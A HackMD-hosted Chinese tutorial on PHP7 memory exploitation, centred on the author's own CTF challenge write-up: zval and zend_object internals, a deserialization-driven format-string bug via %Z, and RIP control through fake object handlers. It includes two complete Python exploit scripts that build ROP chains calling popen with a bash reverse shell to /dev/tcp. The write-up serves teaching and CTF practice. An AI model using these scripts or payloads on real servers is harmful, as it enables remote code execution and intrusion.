{{1+1}}
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # PHP pwn入门1 - 格式化字符串漏洞 PHP是一门不错的语言,它给予了开发者更多的便捷性。但作为一门解释型语言,而且加入了Zend虚拟机的机制,还有其独特的语法糖,使得其在每一次版本更迭后都有漏洞频频爆出。因为其使用的广泛性,研究PHP的漏洞利用方式是有一定价值的。这里笔者将以自己出的CTF题目为例,记录下自己学习PHP漏洞利用的过程(主要针对PHP7)。 ## 了解PHP变量的基本结构 PHP的一个基本结构是zval,它所对应的变量类型由type这个字段标识。 ```c // /Zend/zend_types.h struct _zval_struct { zend_value value; /* value */ union { struct { ZEND_ENDIAN_LOHI_4( zend_uchar type, /* active type */ zend_uchar type_flags, zend_uchar const_flags, zend_uchar reserved) /* call info for EX(This) */ } v; uint32_t type_info; } u1; union { uint32_t next; /* hash collision chain */ uint32_t cache_slot; /* literal cache slot */ uint32_t lineno; /* line number (for ast nodes) */ uint32_t num_args; /* arguments number for EX(This) */ uint32_t fe_pos; /* foreach position */ uint32_t fe_iter_idx; /* foreach iterator index */ uint32_t access_flags; /* class constant access flags */ uint32_t property_guard; /* single property guard */ uint32_t extra; /* not further specified */ } u2; }; ``` type的值对应的不同类型可以在`/Zend/zend_types.h`找到 ```c /* regular data types */ #define IS_UNDEF 0 #define IS_NULL 1 #define IS_FALSE 2 #define IS_TRUE 3 #define IS_LONG 4 #define IS_DOUBLE 5 #define IS_STRING 6 #define IS_ARRAY 7 #define IS_OBJECT 8 #define IS_RESOURCE 9 #define IS_REFERENCE 10 /* constant expressions */ #define IS_CONSTANT_AST 11 /* internal types */ #define IS_INDIRECT 13 #define IS_PTR 14 #define _IS_ERROR 15 /* fake types used only for type hinting (Z_TYPE(zv) can not use them) */ #define _IS_BOOL 16 #define IS_CALLABLE 17 #define IS_ITERABLE 18 #define IS_VOID 19 #define _IS_NUMBER 20 ``` 除了type,另一个我们需要关注的就是value了,它指向了变量对应的实际数据结构体。 ![](https://i.imgur.com/KTNHbAM.png) 比如zend_string和PHP漏洞利用经常用到的zend_object ```c struct _zend_string { zend_refcounted_h gc; zend_ulong h; /* hash value */ size_t len; char val[1]; }; ``` ```c struct _zend_object { zend_refcounted_h gc; uint32_t handle; // TODO: may be removed ??? zend_class_entry *ce; const zend_object_handlers *handlers; HashTable *properties; zval properties_table[1]; }; ``` 我们可以发现,一个`zend_object`结构体中包含了`zend_object_handlers`部分 ![](https://i.imgur.com/S5mq5E6.png) 这是一个函数列表,在对一个zend_object对象进行处理的时候(可以理解为对PHP的object结构进行一些操作),就会调用其中的函数。 ![](https://i.imgur.com/E3nLBfP.png) PHP的基本结构以及大部分数据基本都存储在PHP堆管理下的堆区域中(mmap),使用emalloc和efree进行分配和释放。它的管理机制笔者暂时不在本篇提及。但是有个比较简单的规律: 分配并释放一块区域,下次再分配同样的大小又会被分配到该区域(其实这也是mmap的规律了)。 ## PHP的格式化字符串 PHP的格式化字符串函数增加了一些有PHP特性的格式,比如`%Z`。这个会将对应参数指向的内容(PHP视作`zval`结构体的value)强制转换成`zend_string`输出。 ```c // main/spprintf.c switch (*fmt) { case 'Z': { zvp = (zval*) va_arg(ap, zval*); free_zcopy = zend_make_printable_zval(zvp, &zcopy); if (free_zcopy) { zvp = &zcopy; } s_len = Z_STRLEN_P(zvp); s = Z_STRVAL_P(zvp); if (adjust_precision && (size_t)precision < s_len) { s_len = precision; } break; } ``` ```c // Zend/zend.c ZEND_API int zend_make_printable_zval(zval *expr, zval *expr_copy) /* {{{ */ { if (Z_TYPE_P(expr) == IS_STRING) { return 0; } else { ZVAL_STR(expr_copy, zval_get_string_func(expr)); return 1; } } ``` ```c ZEND_API zend_string* ZEND_FASTCALL _zval_get_string_func(zval *op) /* {{{ */ ... case IS_OBJECT: { zval tmp; if (Z_OBJ_HT_P(op)->cast_object) { if (Z_OBJ_HT_P(op)->cast_object(op, &tmp, IS_STRING) == SUCCESS) { return Z_STR(tmp); } } else if (Z_OBJ_HT_P(op)->get) { zval *z = Z_OBJ_HT_P(op)->get(op, &tmp); if (Z_TYPE_P(z) != IS_OBJECT) { zend_string *str = zval_get_string(z); zval_ptr_dtor(z); return str; } zval_ptr_dtor(z); ... ``` 我们可以看到,如果指向的zval是一个object类型,就会调用其zend_object结构体中的handlers中的cast_object这个函数。 所以当触发格式化字符串漏洞的时候,我们只需要在内存中找到一个可控的地址,在其指向的部分填充一个fake zval(type部分填充`\x08`,value部分填充fake zend_object的地址)、fake zend_object(handlers填充fake handlers)和fake handlers(cast_object填充我们要执行指令的地址),即可控制RIP。但是仅仅控制RIP在很多版本的PHP是不够的,因为RDI不可控,如果是远程攻击而非cli的话,跳到one_gadget就不行了,需要我们去找到一个合适的gadget进行栈迁移达成最终的利用(这里说的是PHP64位的利用)。 这里我以我在vivo 2019 ogeek挑战赛出的题目`check in`为例写一下具体的利用过程。 ## ogeek check_in writeup ![](https://i.imgur.com/r8p7Eaj.png) 查看HTML源码发现有文件泄露 ![](https://i.imgur.com/P8SXk78.png) ![](https://i.imgur.com/cNlQc1F.png) 发现整个题目的dockerfile和所需附件都给出来了。 逆向test.so和index.php,发现存在漏洞。 ![](https://i.imgur.com/fRQ18p1.png) ![](https://i.imgur.com/30IreHO.png) ### 反序列化漏洞 `$this->index()` 从cookie中取出S,依次经过`urldecode`、`base64decode`、`f(rc4加密)`、`base64decode`,传入`php_var_unserialize` ![](https://i.imgur.com/TuqmvFg.png) 经过反序列化的类依次经过对`format`赋值、对`format_str`赋值、对`other`赋值的操作 然后将整个类作为返回值返回,再调用`$obj->render()`渲染 ![](https://i.imgur.com/hOhzmNP.png) format被强制赋值成`<h1> Wel ... %s ...`,format_str是从反序列化结果的`name`中提取的,other就是从反序列化结果的`other`中提取的。 ![](https://i.imgur.com/qdKjdgI.png) 在函数render()里,format、format_str、other分别被传入render_s()中。 ![](https://i.imgur.com/O9DGqoy.png) format是作为格式被传入`zend_vspprintf`,剩下两个作为参数。 那么此题的关键在于控制format,在回想刚才format是被写死的,但是它的赋值是在对format_str和other赋值之前进行赋值的,我们可以将format_str通过reference指向format,这样当我们通过name修改format_str时,间接的也修改了format。 ```php $obj->format = &$obj->format_str; ``` 从而造成格式化字符串漏洞。 ### 格式化字符串漏洞 根据上面所说,我们先使用`%p`泄露libc和libphp的地址,然后控制rip,寻找gadget进行栈迁移。(因为other是第二个参数,且内容可控,所以可以将fake zval、object、handlers布置在上面) 控制RIP时寄存器的状态如下,我们需要跳到一个可以进行栈迁移的位置,将栈迁移至堆上我们可以控制的地方。在寻找gadget之前,我们先记录一下RCX是可控的。 ![](https://i.imgur.com/3pa8ldb.png) 具体寻找gadget思路: 1. 对寄存器进行交换。 2. PUSH RCX;POP RSP; 3. ret 0x???;(这种需要将RAX清空,因为返回值不为0的话会跳到zend_error异常退出从而无法触发到第二次ret进行ROP) ![](https://i.imgur.com/Z7WfKTJ.png) 在出题之后,很凑巧在libphp中找到了第二点的gadget ![](https://i.imgur.com/TT8ZSGa.png) 但是比赛当天,我重新使用no-cache build docker的时候发现PHP有更新,这个gadget已经不存在了。 然后我又在libc找到一条可利用gadget, 总算让题目还是可以做。但是libc的地址泄露不是很稳定,需要在所有泄露的地址找以`aa`结尾的地址。 ``` ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.27.so --depth 30 |grep "push "|grep "pop rsp" 0x0000000000114334 : push qword ptr [rcx] ; rcr byte ptr [rbx + 0x5d], 0x41 ; pop rsp ; ret ``` ### exp #### 未更新前 ```python from pwn import * import requests from urllib import unquote,quote import base64 import os from binascii import unhexlify key = '20190712' def crypto(string): sbox = [] for i in range(256): sbox.append(i) j = 0 for i in range(256): j = (sbox[i] + j + ord(key[i%8]))%0x100 sbox[i],sbox[j] = sbox[j],sbox[i] i1 = 0 i2 = 0 s = '' for i in range(len(string)): i1 = (i1 + 1)%0x100 i2 = (i2 + sbox[i1])%0x100 sbox[i1],sbox[i2] = sbox[i2],sbox[i1] s += chr(ord(string[i]) ^ sbox[(sbox[i1]+sbox[i2])%0x100]) return s command = "/bin/bash -c '/bin/bash -i >&/dev/tcp/xxxx/xxx 0>&1'\x00\x00" target = "127.0.0.1" burp0_url = "http://"+target+"/index.php?a=bbbbbbbbbbb%00cccccccc" burp0_cookies = {"PHPSESSID": "769cb13v1vbmusfntcpqs3t3bl"} burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Referer": "http://172.16.91.148/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"} burp0_data={"username": "admin", "password": ":admiN123:"} #a = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) #print base64.b64decode(crypto(base64.b64decode(unquote(a.text.split("cookie='S=")[1].split("';location.hre")[0])))) ''' a.php <?php Class CppClass { var $name,$format,$format_str,$other; } if($argc<=2){ $obj = new \CppClass; echo serialize($obj); } else { $format = base64_decode($argv[1]); $exp = base64_decode($argv[2]); $obj = new \CppClass; $obj->name = $format; $obj->format = &$obj->format_str; $obj->other = $exp; echo base64_encode(serialize($obj)); } ?> ''' def f(fmt,exp): try: b = os.popen("php a.php "+base64.b64encode(fmt)+" "+base64.b64encode(exp)).read() burp0_cookies["S"] = quote(base64.b64encode(crypto(b))) return requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text except: return 0 format_str = 'AAAAAAAA%p%p%p%p' exp = "D"*24+"EEEEEEEE"*37 a = f(format_str,exp).replace("<!-- ./html.zip --!>",'') heap_addr = a.split('0x')[2] log.success("heap_addr: 0x"+heap_addr) heap_addr = int('0x'+heap_addr,16) lib_php_addr = a.split('0x')[4] lib_php_addr = int('0x'+lib_php_addr,16)-0x2d0240 log.success("lib_php7.2.so base addr : "+hex(lib_php_addr)) magic_addr = lib_php_addr + 0x2e512b # push rcx; pop rsp; ret; pop3_ret = lib_php_addr + 0xdbb57 pop_rsi = lib_php_addr + 0xdb427 pop_rdi = lib_php_addr + 0xdbb5c call_popen = lib_php_addr + 0x1C6A71 ''' Generate fake *zval and *zend_object and *zend_object_handlers Convert fake *zend_object to *zend_string (%Z) https://github.com/php/php-src/blob/e6f86fb17cd3a2dfe94ca1a0113a23194cb1915a/main/spprintf.c#L401 https://github.com/php/php-src/blob/21b0f444296ac44eadc7ed3474fba5978ec8163d/Zend/zend.c#L356 https://github.com/php/php-src/blob/7f994990eab4ffc3eb8cddca413dc4bcd03e3457/Zend/zend_operators.c#L878 We can contol PC now. Stack pivot (magic_addr) => ROP => popen(command,"r"); ''' format_str = "AAAAAAAA%p%Z%p%p" exp = p64(heap_addr+0x10) # heap_addr exp += p64(0x8) # heap_addr+0x8 exp += p64(pop3_ret) # heap_addr+0x10 exp += "AAAAAAAA" # heap_addr+0x18 exp += "BBBBBBBB" # heap_addr+0x20 exp += p64(heap_addr+0x30) exp += p64(pop_rdi) exp += p64(heap_addr+0xe8) exp += p64(pop_rsi) exp += p64(heap_addr+0xe0) exp += p64(call_popen) exp += "CCCCCCCC"*16 exp += p64(magic_addr) exp += "r"+"\x00"*7 exp += command.ljust(80,'\x00') exp += "AAAAAAAA" a = f(format_str,exp) log.success("exploit ok") ``` #### 更新后 ```python from pwn import * import requests from urllib import unquote,quote import base64 import os from binascii import unhexlify key = '20190712' def crypto(string): sbox = [] for i in range(256): sbox.append(i) j = 0 for i in range(256): j = (sbox[i] + j + ord(key[i%8]))%0x100 sbox[i],sbox[j] = sbox[j],sbox[i] i1 = 0 i2 = 0 s = '' for i in range(len(string)): i1 = (i1 + 1)%0x100 i2 = (i2 + sbox[i1])%0x100 sbox[i1],sbox[i2] = sbox[i2],sbox[i1] s += chr(ord(string[i]) ^ sbox[(sbox[i1]+sbox[i2])%0x100]) return s command = "/bin/bash -c '/bin/bash -i >&/dev/tcp/xxx/xxx 0>&1'\x00" burp0_url = "http://47.112.98.102:14141/index.php?a=bbbbbbbbbbb%00cccccccc" burp0_cookies = {"PHPSESSID": "769cb13v1vbmusfntcpqs3t3bl"} burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Referer": "http://172.16.91.148/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"} burp0_data={"username": "admin", "password": ":admiN123:"} #a = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) #print base64.b64decode(crypto(base64.b64decode(unquote(a.text.split("cookie='S=")[1].split("';location.hre")[0])))) def f(fmt,exp): try: b = os.popen("php a.php "+base64.b64encode(fmt)+" "+base64.b64encode(exp)).read() burp0_cookies["S"] = quote(base64.b64encode(crypto(b))) return requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies) except: return 0 format_str = 'AAAAAAAA'+"%p"*700 exp = "D"*24+"EEEEEEEE"*37 a = f(format_str,exp).text.replace("<!-- ./html.zip --!>",'') #print a heap_addr = a.split('0x')[2] log.success("heap_addr: 0x"+heap_addr) heap_addr = int('0x'+heap_addr,16) lib_php_addr = a.split('0x')[4] lib_php_addr = int('0x'+lib_php_addr,16)-0x2d0240-0x3c0 log.success("lib_php7.2.so base addr : "+hex(lib_php_addr)) libc_addr = a.split('0x') libc_addr = libc_addr[-1] # libc addr end with 'aa', you need to adjust the index according to the actual situation. libc_addr = int("0x"+libc_addr,16)-0x5b9aa log.success('libc_addr: ' + hex(libc_addr)) magic_addr = libc_addr + 0x114334 #push [rcx];...;pop rsp; log.success('magic_addr: ' + hex(magic_addr)) pop_ret = lib_php_addr + 0xdb427 pop_rsi = lib_php_addr + 0xdb427 pop_rdi = lib_php_addr + 0xdbb5c call_popen = libc_addr + 0x80930 format_str = "AAAAAAAA%p%Z%p%p"+"%p"*(700-4) exp = p64(heap_addr+0x10) # heap_addr (rbx) exp += p64(0x8) # heap_addr+0x8 exp += p64(heap_addr+0x20)# heap_addr+0x10 (rcx) exp += "AAAAAAAA" # heap_addr+0x18 exp += p64(pop_ret) # heap_addr+0x20 exp += p64(heap_addr+0x30) exp += p64(pop_rdi) exp += p64(heap_addr+0xe8) exp += p64(pop_rsi) exp += p64(heap_addr+0xe0) exp += p64(call_popen) exp += "CCCCCCCC"*16 exp += p64(magic_addr) exp += "r"+"\x00"*7 exp += command.ljust(80,'\x00') exp += "AAAAAAAA" a = f(format_str,exp) log.success("exploit ok") ```

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully